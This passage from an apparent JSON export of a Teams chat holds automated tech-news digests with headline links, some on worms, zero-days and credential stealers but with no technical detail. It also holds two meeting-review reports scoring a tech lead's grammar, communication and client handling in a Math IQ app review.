grammar. Use a\\nfixed meeting format: agenda, checklist, one question at a time, recap after\\neach topic, and final owner/date/action summary. Grammar practice is still\\nimportant, especially for client-facing estimation, risk, and timeline\\ncommunication.\",\n>       \"created_at\": \"2026-06-16T10:11:07.2Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604667200?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781174202082\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781174202082\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781174202082?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026** 1\\\\. [Deep dive: How Lightning\\nEngine delivers 4.9x faster Apache Spark\\nperformance](https://cloud.google.com/blog/products/data-analytics/lighting-\\nengine-for-apache-spark-performance-deep-dive/) - AI/cloud update that may\\naffect model access, deployment choices, developer workflows, or platform\\nstrategy. 2\\\\. [Choosing your surface: Antigravity 2.0, Antigravity CLI,\\nAntigravity IDE, or Antigravity\\nSDK](https://cloud.google.com/blog/topics/developers-practitioners/choosing-\\nyour-surface-antigravity-20-antigravity-cli-antigravity-ide-or-antigravity-\\nsdk/) - AI/cloud update that may affect model access, deployment choices,\\ndeveloper workflows, or platform strategy. 3\\\\. [Amazon SageMaker Unified\\nStudio Notebooks now support EMR Serverless](https://aws.amazon.com/about-\\naws/whats-new/2026/06/amazon-sagemaker-unified-studio-emr/) - AI/cloud update\\nthat may affect model access, deployment choices, developer workflows, or\\nplatform strategy. 4\\\\. [Amazon EC2 P6-B200 instances are now available in the\\nAWS GovCloud (US-East) Region](https://aws.amazon.com/about-aws/whats-\\nnew/2026/06/amazon-ec2-p6-b200-aws-govcloud/) - AI/ML update that may affect\\ndeveloper workflows, product strategy, platforms, or technical roadmaps. 5\\\\.\\n[Datadog veterans launch AI coding startup Niteshift on a bet against Big AI\\nlock-in](https://techcrunch.com/2026/06/10/datadog-veterans-launch-ai-coding-\\nstartup-niteshift-on-a-bet-against-big-ai-lock-in/) - AI coding agent startup\\nNiteshift has raised a $7 million seed round from a who's who of angels. It's\\nbetting companies will want power over, not lock-in with model makers. 6\\\\.\\n[For the 2nd time in weeks, Microsoft packages laced with credential\\nstealer](https://arstechnica.com/security/2026/06/for-the-2nd-time-in-weeks-\\nmicrosoft-packages-laced-with-credential-stealer/) - 73 packages run self-\\nreplicating stealer as soon as they're opened by an AI agent. 7\\\\. [Microsoft\\nand Adobe Patch Tuesday, June 2026 Security Update Review -\\nQualys](https://news.google.com/rss/articles/CBMizgFBVV95cUxNcWl1enRmR2J0R24zNUtZcDRrX3VSZTJCNHkxelZxaVgxeUJ5dnhkRTlLN0JuSXlkLVVCa2tySzVxZHUwOTdPcnNUXzR6V1FSTkdWWDVVeUoxYTlhSVVVRzRxRkNlM1ZUYjNJS0F2Y3pzeWxvRXUtaFpyVU9XSVoteDVFNGE5Z01od3hQbVJIeUVWRXBTNkMwZmVIUzJsZGp5cTV2aUp0dUpkSTVaNF8yX0VLQ2xvM1p5Snl1TEg3TVNZd2FuLUVnUU5YbTJIUQ?oc=5)\\n- Security, privacy, or infrastructure update relevant to technical leaders\\nand platform teams. 8\\\\. [PRC-linked influence operations are targeting AI\\ndebates in the US](https://openai.com/index/prc-linked-influence-operations-\\nai-debates) - AI/ML update that may affect developer workflows, product\\nstrategy, platforms, or technical roadmaps. 9\\\\. [Spec-Driven Development: A\\nSpec-First Approach to AI-Native\\nEngineering](https://devblogs.microsoft.com/blog/spec-driven-development-ai-\\nnative-engineering) - AI/ML update that may affect developer workflows,\\nproduct strategy, platforms, or technical roadmaps. 10\\\\. [Angry bug hunter\\nwith Microsoft beef drops new Windows\\n0-day](https://www.theregister.com/security/2026/06/10/nightmare-eclipse-\\npublishes-new-windows-defender-zero-day/5253725) - Revenge is a dish best\\nserved code 11\\\\. [Tumeryk joins Cloud Security Alliance on AI risk scoring -\\nSecurityBrief\\nUK](https://news.google.com/rss/articles/CBMilAFBVV95cUxQTTBPM0NJVk51OC1DNFVtcEFsUEhDMmlEWUZXRHN4QWpMSkNhbFZ2bzVndklMREg4MUE5cFo2akFhbk1hNi1qUGJ6RVI1eHJ0UDlNUnZWclhCT1Y3ckd3ZXhYUHhkem96WjY5TjFwcnJ5Si1KbVQyQVZ2eGprMl9MTTJsSFJDZDFaSnExdFdtbFNpMmZM?oc=5)\\n- AI/ML update that may affect developer workflows, product strategy,\\nplatforms, or technical roadmaps. 12\\\\. [Microsoft fixes BitLocker recovery bug\\non Windows Server\\n2025](https://www.bleepingcomputer.com/news/microsoft/microsoft-fixes-\\nbitlocker-recovery-bug-on-windows-server-2025/) - Security, privacy, or\\ninfrastructure update relevant to technical leaders and platform teams.\",\n>       \"created_at\": \"2026-06-11T10:36:42.082Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781174202082?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781173819999\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781173819999\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173819999?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026**\\n\\n  1. [Seeking Counsel: Ongoing Targeted Campaign Against US Law Firms](https://cloud.google.com/blog/topics/threat-intelligence/targeted-campaign-us-law-firms/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  2. [Report: GKE Inference Gateway delivers up to 92% faster AI responses](https://cloud.google.com/blog/products/containers-kubernetes/gke-inference-gateway-prefix-caching-accelerates-ai-inference/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  3. [Amazon EC2 M9g and M9gd general purpose instances are now available](https://aws.amazon.com/about-aws/whats-new/2026/06/ec2-m9g-m9gd-instances-graviton5-processors-available) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  4. [Run Interactive Workloads on Amazon EMR Serverless with Spark Connect](https://aws.amazon.com/about-aws/whats-new/2026/05/amazon-emr-serverless-spark-connect) \\\\- Cloud or developer-platform update for teams managing infrastructure, deployments, or engineering workflows.\\n  5. [From data to decisions: how LSEG is scaling trusted AI](https://openai.com/index/lseg) \\\\- See how LSEG uses OpenAI to scale trusted AI across its global business, accelerating insights, shrinking release cycles, and empowering 4,000 employees.\\n  6. [TCS and Anthropic launch Global Premier Partnership to drive Enterprise AI scaling - Tata Consultancy Services](https://news.google.com/rss/articles/CBMiyAFBVV95cUxOOHNkYWdNVUtBc3lEOHFLd2RwQ1FoeE0xZXRIWTFYTzd5bFdjQ3kycXVWQ3Q4ZExGSE5zT2t5MUFFMmJ3enBJVnQ3VlhpX3NrNlM3Sldyb1V4SVVVcWhhaVU1aUNwSmVjdnI0Wi1YQ2ZWRFJJQkR4WG1LNUJYVGg4RkdhZkktZ3hQeS1EYTdDdHZjZGtnVTNnWGxtZ052V2FNajFuQlNQMXlwc0lTaFc2TTJpNTJIaEx5RnNvQ3FNLXFkUkFLREpDRA?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  7. [Introducing the OpenAI Economic Research Exchange](https://openai.com/index/economic-research-exchange) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  8. [Kalshi adds required employment verification for some prediction market bets](https://www.theverge.com/business/948083/kalshi-prediction-markets-insider-trading) \\\\- The CFTC is considering its first regulation for prediction markets, as arrests over insider trading continue to stack up.\\n  9. [The Miasma worm source code briefly leaked on GitHub](https://www.bleepingcomputer.com/news/security/the-miasma-worm-source-code-briefly-leaked-on-github/) \\\\- The Miasma credential-stealing attack framework, which has recently targeted open-source ecosystems through supply-chain attacks, was briefly open-sourced on GitHub.\\n  10. [Microsoft Build 2026 recap: vision, launches, and top sessions](https://devblogs.microsoft.com/blog/build-recap) \\\\- Technology update likely relevant to software teams, technical leaders, or platform decision-makers.\\n  11. [Google Cloud unpacks governance challenges of AI agents - Computer Weekly](https://news.google.com/rss/articles/CBMiowFBVV95cUxOMHpUU0FSaUhFVFR2T0stZmM3c3VFZm94cjh1aTFkdmxIU1JDeVlUNlVRUWtTLWdMTHFpVVB0LUJ6b3FscTVncDJnMG1JclFLNzVhWjctblZiMmQtdmVYUkZ4S0dmNUhRSG1FcTZFaWx4Rks5VUNleC1yZmxXUXhrMmhMVnZVejFjUzhwNVpTWk9vNWZvNFY0cmRlQi1wTUpMZ3lv?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  12. [GitHub announces npm security changes to tackle supply-chain attacks](https://www.bleepingcomputer.com/news/security/github-announces-npm-security-changes-to-tackle-supply-chain-attacks/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  13. [Cohere releases North Mini Code, a 30B parameter open-source coding model built for enterprise developers - Crypto Briefing](https://news.google.com/rss/articles/CBMiakFVX3lxTE1zY1VWQTVJSktYY3Y1SmNlLUZjV1dSc0dYMjFza2dqSEstV0FiTHJ6X1BIVm82NEg3eU93aG82MTNzQXFLZ210eFpTWXZMSXhpTVBxSVlMUEhaY3h4MzdITXVNbV9MZUdmWkE?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  14. [Apple, Google add support for Thread 1.4](https://www.theverge.com/tech/947888/apple-google-add-support-for-thread-1-4) \\\\- Apple and Google are updating their smart home streaming devices to Thread 1.4.\\n  15. [GitHub pulls pin on npm's auto-run scripts](https://www.theregister.com/devops/2026/06/10/github-pulls-pin-on-npms-auto-run-scripts/5253453) \\\\- Shai-Hulud worm exploited exactly this. Better late than never, says everyone except the malware authors.\",\n>       \"created_at\": \"2026-06-11T10:30:19.999Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173819999?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781173130177\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781173130177\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173130177?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026**\\n\\n  1. [Detecting and containing AI-powered threats with Google Security Operations agents](https://cloud.google.com/blog/products/identity-security/detecting-and-containing-powered-threats-with-google-security-operations-agents/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  2. [What's new for Managed Service for Apache Spark clusters](https://cloud.google.com/blog/products/data-analytics/enhancements-to-managed-service-for-apache-spark-clusters/) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  3. [OpenAI GPT-5.4 and GPT-5.5 models now available in US East (N. Virginia) on Amazon Bedrock](https://aws.amazon.com/about-aws/whats-new/2026/06/openai-gpt-us-east-virginia-amazon/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  4. [Amazon OpenSearch Service launches MCP Apps for agentic observability](https://aws.amazon.com/about-aws/whats-new/2026/06/opensearch-agentic-observability-mcp-app) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  5. [Access OpenAI models and Codex through your Oracle cloud commitment](https://openai.com/index/openai-on-oracle-cloud) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  6. [Show HN: HelixDB - A graph database built on object storage](https://github.com/HelixDB/helix-db/tree/main) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  7. [Microsoft patches Exchange Server zero-day exploited in attacks](https://www.bleepingcomputer.com/news/microsoft/microsoft-patches-exchange-server-zero-day-exploited-in-attacks/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  8. [Is your agent extension actually working?](https://devblogs.microsoft.com/blog/is-your-agent-extension-actually-working) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  9. [Give GitHub Copilot CLI real code intelligence with language servers](https://github.blog/ai-and-ml/github-copilot/give-github-copilot-cli-real-code-intelligence-with-language-servers/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  10. [GitHub nukes 70+ Microsoft repos, breaks CI/CD pipelines, following suspected worm infections](https://www.theregister.com/security/2026/06/08/github-nukes-70-microsoft-repos-amid-suspected-worm-attack/5252169) \\\\- Miasma worm shapeshifts, but cloud secret-scouting remains the goal\\n  11. [Supporting Europe's work in ensuring a trustworthy AI ecosystem](https://openai.com/index/supporting-eu-trustworthy-ai-ecosystem) \\\\- OpenAI supports the EU Code of Practice on AI content transparency, advancing provenance standards and tools to help people understand AI-generated content.\\n  12. [Microsoft Defender 'RoguePlanet' zero-day grants SYSTEM privileges](https://www.bleepingcomputer.com/news/microsoft/microsoft-defender-rogueplanet-zero-day-grants-system-privileges/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  13. [Google joins the Eclipse Foundation as a strategic member to accelerate AI-integrated developer tools - blog.google](https://news.google.com/rss/articles/CBMi4gFBVV95cUxPSHl5NnhaYVhKTVpPVjMxTGxiWGc0TXZDUXMzSUxtb1h3dklETGhjMlpiNE1zaXBtcDRxUGNwRG5NbXRfYTJpbFRidjdwNlFXVmVFaHd5eWZWQ0tvb0JaakpYMjI0eEFVWWY0YnNwS0xVdFhmVUFUWHA1Xzh4SExlYnRRUHZfazU0bWZzWDFQeTNBLVpheDVWUmkyMzhyWmNqSHRPS3hxQV9xM01ET2g3aElDRmZjNHFZdWJhUWN5RERUMkpka1d4djNReGFHU3I2d1h1U1R1XzgzUUc0VmFfc3hn?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\",\n>       \"created_at\": \"2026-06-11T10:18:50.177Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173130177?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781171262336\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781171262336\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171262336?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report - Updated Format\\n\\n**Source meeting:** Math IQ review, Apr 21, 2026  \\n**Fathom link:**   \\n**Comparison context:** Latest meeting transcript plus the latest 20 Jenish-\\nled Fathom interactions where available.\\n\\n**Score rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent\\n\\n### 1\\\\. Score Summary\\n\\n  * **Overall score:** 4.7/10 - Needs Improvement  \\nAverage of Grammar, Communication, and Client Frustration Handling scores.\\n\\n  * **Grammar score:** 3/10 - Poor\\n  * **Communication score:** 5/10 - Needs Improvement\\n  * **Client frustration handling score:** 6/10 - Needs Improvement\\n  * **Client frustration risk:** 4/10 - Low to medium in the latest internal call, but higher in client calls when timeline or access expectations are unclear.\\n\\n### 2\\\\. Conversation Summary\\n\\nThe latest meeting was mostly an internal technical review for the Math IQ\\napp. The team discussed app status, migration from Cloud Functions to\\nSupabase, Firebase push notifications, Google login issues, TTS/audio playback\\nbugs, grammar correction UI, Learn Flow, Roleplay flow, referral program,\\nscheduled notifications, and documentation needs.\\n\\nThe meeting produced useful action items, but the discussion was hard to\\nfollow because many requests were incomplete, repeated, or missing clear\\nownership and deadline framing.\\n\\n### 3\\\\. Priority Issues Ranked By Business Impact\\n\\n  1. **High impact:** Unclear client-facing explanation can reduce trust and make the team look unsure.\\n  2. **High impact:** No structured recap can create delivery confusion and missed expectations.\\n  3. **High impact:** Weak grammar and incomplete sentences reduce confidence during estimation, negotiation, and status updates.\\n  4. **Medium impact:** Repeated questions increase meeting time and can frustrate clients.\\n  5. **Medium impact:** Missing owner/date/action formatting makes follow-up harder.\\n  6. **Low to medium impact:** Internal meetings are productive but inefficient when agenda and checklist are absent.\\n\\n### 4\\\\. Missed Opportunities\\n\\n  * Start with a clear agenda: current status, blockers, migration plan, bugs, owners, and deadlines.\\n  * Summarize each topic before moving to the next one.\\n  * Ask developers to confirm acceptance criteria, not just whether something is done.\\n  * Use a visible checklist to avoid repeating the same questions.\\n  * In client-facing calls, explain why access or technical details are needed before asking for them.\\n  * Close with a written recap: decision, owner, due date, and risk.\\n\\n### 5\\\\. Repeated Questions\\n\\n  * Repeated checks like: done?, complete?, okay?, and is it clear? without naming the exact feature.\\n  * Repeated checks around TTS/audio, grammar correction, Roleplay, and referral without a final decision statement.\\n  * Some clarification was necessary because the transcript and conversation were unclear, but several repeats could have been avoided by summarizing after each answer.\\n\\n### 6\\\\. Unclear Requests And Better Versions\\n\\n  * **Unclear:** Tell us details how much complete and how much rest.  \\n**Better:** Please list completed modules, pending modules, blockers, and\\nestimated time for each pending item.\\n\\n  * **Unclear:** Do you use Firebase?  \\n**Better:** Are we using Firebase only for push notifications, or also for\\nauth, database, or Cloud Functions?\\n\\n  * **Unclear:** Is this done?  \\n**Better:** Can you confirm whether this feature is implemented, tested, and\\nworking on staging?\\n\\n  * **Unclear:** Check Stripe logic.  \\n**Better:** Verify Stripe subscription purchase, webhook update, coin\\nallocation, and failure handling.\\n\\n### 7\\\\. Necessary Follow-Up Questions vs Unnecessary Repetition\\n\\n**Necessary follow-up questions:**\\n\\n  * Asking for app/test access before quoting or estimating.\\n  * Asking which backend services are still on Cloud Functions.\\n  * Asking whether Google login, TTS, grammar correction, and Roleplay are tested.\\n  * Asking about production rollout, rollback, and user migration risk.\\n\\n**Unnecessary repetition:**\\n\\n  * Repeating complete? or done? after the same answer without narrowing the issue.\\n  * Re-asking details that should be captured in a checklist.\\n  * Continuing a topic after the owner and action are already clear.\\n\\n### 8\\\\. Root Causes Of Client Frustration\\n\\n  * Clients may feel the team is asking many questions without first explaining why the information is required.\\n  * Delays can feel unexplained if risks, dependencies, and next steps are not communicated early.\\n  * Technical leads sometimes jump into implementation details before confirming the business outcome.\\n  * If questions are broad, the client may need to repeat information or clarify the same point multiple times.\\n\\n### 9\\\\. Communication Patterns Across Recent Interactions\\n\\n**Improvements seen:**\\n\\n  * Better practical next steps in recent calls.\\n  * Better access negotiation in the Apr 20 client call: tester access was accepted when code access was not possible.\\n  * Better risk thinking in the Apr 6 My Ayur call around production deployment, rollback, and user migration.\\n  * More consistent action-item capture in Fathom summaries.\\n\\n**Still missing:**\\n\\n  * More polished English for client-facing explanations.\\n  * Stronger meeting control: agenda, topic boundaries, and recaps.\\n  * Clear reason-before-request communication.\\n  * Proactive timeline updates before the client asks why something is delayed.\\n  * Consistent business-impact framing before technical details.\\n\\n### 10\\\\. Suggested Improvements\\n\\n**Recommended meeting structure:**\\n\\n  1. Start: Today we need to confirm status, blockers, and next steps.\\n  2. For each topic: Current status, issue, decision needed.\\n  3. Ask one question at a time.\\n  4. After each answer: So the decision is __, owner is __, deadline is __.\\n  5. End: I will send a recap with owners, dates, and risks.\\n\\n**Useful replacement phrases:**\\n\\n  * **Instead of:** Can you give access?  \\n**Say:** To estimate accurately, I need tester access to verify the current\\nflow. Code access is not required at this stage.\\n\\n  * **Instead of:** This is done?  \\n**Say:** Can you confirm whether this feature is implemented, tested, and\\nworking on staging?\\n\\n  * **Instead of:** Why delay?  \\n**Say:** The delay is due to two risks: app approval and backend\\ncompatibility. Our fallback plan is rollback if store approval fails.\\n\\n### Final Recommendation\\n\\nThe tech lead should focus first on meeting structure and clarity, not only\\ngrammar. The biggest improvement will come from using a fixed meeting format:\\nagenda, one question at a time, recap after each topic, and final\\nowner/date/action summary. Grammar improvement is also important, especially\\nfor client-facing estimation and risk communication.\",\n>       \"created_at\": \"2026-06-11T09:47:42.336Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171262336?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781171005304\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781171005304\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171005304?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**Meeting Reviewer Report** **Source:** Latest Fathom meeting: Math IQ review,\\nApr 21, 2026 https://fathom.video/calls/645205495 **Comparison context:**\\nReviewed the latest meeting transcript plus the latest 20 Jenish-led Fathom\\ninteractions where available. Recent client-facing comparison calls included\\nApr 20, 2026 and Apr 6, 2026. **Score rubric:** 1-3 Poor, 4-6 Needs\\nImprovement, 7-8 Good, 9-10 Excellent **Scores** \\\\- **Overall score:** 4.7/10\\n- Needs Improvement \\\\- **Grammar score:** 3/10 - Poor \\\\- **Communication\\nscore:** 5/10 - Needs Improvement \\\\- **Client frustration handling score:**\\n6/10 - Needs Improvement \\\\- **Client frustration risk level:** 4/10 - Low to\\nmedium in the latest internal call, higher risk in client calls when timeline\\nor access expectations are unclear **Conversation summary** The latest meeting\\nwas mostly an internal technical review for the Math IQ app. The team\\ndiscussed app status, migration from Cloud Functions to Supabase, Firebase\\npush notifications, Google login issues, TTS/audio playback bugs, grammar\\ncorrection UI, Learn Flow, Roleplay flow, referral program, scheduled\\nnotifications, and documentation needs. The meeting produced useful action\\nitems, but the discussion was difficult to follow because many requests were\\nincomplete, repeated, or missing clear ownership and deadline framing.\\n**Missed opportunities** \\\\- Start with a clear agenda: current status,\\nblockers, migration plan, bugs, owners, deadlines. \\\\- Summarize each topic\\nbefore moving to the next one. \\\\- Ask developers to confirm acceptance\\ncriteria, not just whether something is \u201cdone.\u201d \\\\- Use a visible checklist to\\navoid repeating the same questions. \\\\- In client-facing calls, explain why\\naccess or technical details are needed before asking for them. \\\\- Close with a\\nwritten recap: decision, owner, due date, and risk. **Repeated questions** \\\\-\\nRepeated \u201cdone?\u201d, \u201ccomplete?\u201d, \u201cokay?\u201d, \u201cis it clear?\u201d without a precise\\nfeature name. \\\\- Repeated checks around TTS/audio, grammar correction,\\nroleplay, and referral without a final decision statement. \\\\- Some repeated\\nclarification was necessary because the transcript and conversation were\\nunclear, but several repeats could have been avoided by summarizing after each\\nanswer. **Unclear requests** \\\\- \u201cTell us details how much complete and how\\nmuch rest\u201d should be rephrased as: \u201cPlease list completed modules, pending\\nmodules, blockers, and estimated time for each pending item.\u201d \\\\- \u201cDo you use\\nFirebase?\u201d should be followed by scope: \u201cOnly for push notifications, auth,\\ndatabase, or Cloud Functions?\u201d \\\\- \u201cIs this done?\u201d should include the exact\\nscreen, bug, expected behavior, and test result. \\\\- \u201cCheck Stripe logic\u201d\\nshould be: \u201cVerify Stripe subscription purchase, webhook update, coin\\nallocation, and failure handling.\u201d **Necessary follow-up questions vs\\nunnecessary repetition** Necessary follow-ups: \\\\- Asking for app/test access\\nbefore quoting or estimating. \\\\- Asking which backend services are still on\\nCloud Functions. \\\\- Asking whether Google login, TTS, grammar correction, and\\nRoleplay are tested. \\\\- Asking about production rollout, rollback, and user\\nmigration risk. Unnecessary repetition: \\\\- Repeating \u201ccomplete?\u201d or \u201cdone?\u201d\\nafter the same answer without narrowing the issue. \\\\- Re-asking details that\\nshould be captured in a checklist. \\\\- Continuing a topic after the\\nowner/action was already clear. **Root causes of possible client frustration**\\n\\\\- Clients may feel that the team is asking many questions without first\\nexplaining why the information is required. \\\\- Delays can feel unexplained if\\nrisks, dependencies, and exact next steps are not communicated early. \\\\-\\nTechnical leads sometimes jump directly into implementation details instead of\\nconfirming the business outcome first. \\\\- If questions are broad, the client\\nmay need to repeat information or clarify the same point multiple times.\\n**Priority issues ranked by business impact** 1\\\\. **High:** Unclear client-\\nfacing explanation can reduce trust and make the team look unsure. 2\\\\.\\n**High:** No structured meeting recap can create delivery confusion and missed\\nexpectations. 3\\\\. **High:** Weak grammar and incomplete sentences reduce\\nconfidence during estimation, negotiation, and status updates. 4\\\\. **Medium:**\\nRepeated questions increase meeting time and can frustrate clients. 5\\\\.\\n**Medium:** Missing owner/date/action formatting makes follow-up harder. 6\\\\.\\n**Low to medium:** Internal meetings are productive but inefficient when\\nagenda and checklist are absent. **Communication patterns across latest\\ninteractions** Improvements seen: \\\\- Better practical next steps in recent\\ncalls. \\\\- Better access negotiation in the Apr 20 client call: tester access\\nwas accepted when code access was not possible. \\\\- Better risk thinking in the\\nApr 6 My Ayur call around production deployment, rollback, and user migration.\\n\\\\- More consistent action-item capture in Fathom summaries. Still missing: \\\\-\\nMore polished English for client-facing explanations. \\\\- Stronger meeting\\ncontrol: agenda, topic boundaries, recaps. \\\\- Clear reason-before-request\\ncommunication. \\\\- Proactive timeline updates before the client asks why\\nsomething is delayed. \\\\- Consistent business-impact framing before technical\\ndetails. **Suggested improvements** Use this structure for every client or\\nlead meeting: 1\\\\. \u201cToday we need to confirm three things: status, blockers,\\nand next steps.\u201d 2\\\\. For each topic: \u201cCurrent status, issue, decision needed.\u201d\\n3\\\\. Ask one question at a time. 4\\\\. After each answer, say: \u201cSo the decision\\nis __, owner is __, deadline is __.\u201d 5\\\\. End with: \u201cI will send a recap with\\nowners, dates, and risks.\u201d Useful replacement phrases: \\\\- Instead of: \u201cCan you\\ngive access?\u201d Say: \u201cTo estimate accurately, I need tester access to verify the\\ncurrent flow. Code access is not required at this stage.\u201d \\\\- Instead of: \u201cThis\\nis done?\u201d Say: \u201cCan you confirm whether this feature is implemented, tested,\\nand working on staging?\u201d \\\\- Instead of: \u201cWhy delay?\u201d Say: \u201cThe delay is due to\\ntwo risks: app approval and backend compatibility. Our fallback plan is\\nrollback if store approval fails.\u201d **Final recommendation** The tech lead\\nshould focus first on meeting structure and clarity, not only grammar. The\\nbiggest improvement will come from using a fixed meeting format: agenda, one\\nquestion at a time, recap after each topic, and final owner/date/action\\nsummary. Grammar improvement is also important, especially for client-facing\\nestimation and risk communication.\",\n>       \"created_at\": \"2026-06-11T09:43:25.304Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171005304?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170929097\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170929097\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170929097?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"Hii\",\n>       \"created_at\": \"2026-06-11T09:42:09.097Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": 